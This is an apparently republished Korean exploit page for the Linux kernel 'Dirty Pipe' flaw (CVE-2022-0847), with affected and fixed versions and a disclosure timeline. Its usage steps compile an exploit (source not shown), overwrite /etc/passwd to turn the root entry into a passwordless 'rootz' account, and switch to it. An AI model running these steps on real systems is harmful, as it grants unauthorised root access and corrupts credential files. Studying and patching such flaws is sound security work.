CVE-2022-0847

정보

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

익스플로잇 방법

테스트 환경：

로컬 권한 상승

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

참조

https://dirtypipe.cm4all.com/

타임라인

• 2021-04-29: 파일 손상에 대한 첫 번째 지원 티켓
• 2022-02-19: 파일 손상 문제가 Linux 커널 버그로 식별되었으며, 이는 익스플로잇 가능한 취약점으로 밝혀짐
• 2022-02-20: 버그 리포트, 익스플로잇 및 패치가 Linux 커널 보안 팀에 전송됨
• 2022-02-21: Google Pixel 6에서 버그 재현; 버그 리포트가 Android 보안 팀에 전송됨
• 2022-02-21: Linus Torvalds, Willy Tarreau, Al Viro의 제안에 따라 LKML에 패치 전송 (취약점 세부 정보 없이)
• 2022-02-23: 내 버그 수정이 포함된 Linux 안정 릴리스 (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24: Google이 내 버그 수정을 Android 커널에 병합
• 2022-02-28: linux-distros 메일링 리스트에 알림
• 2022-03-07: 공개 공개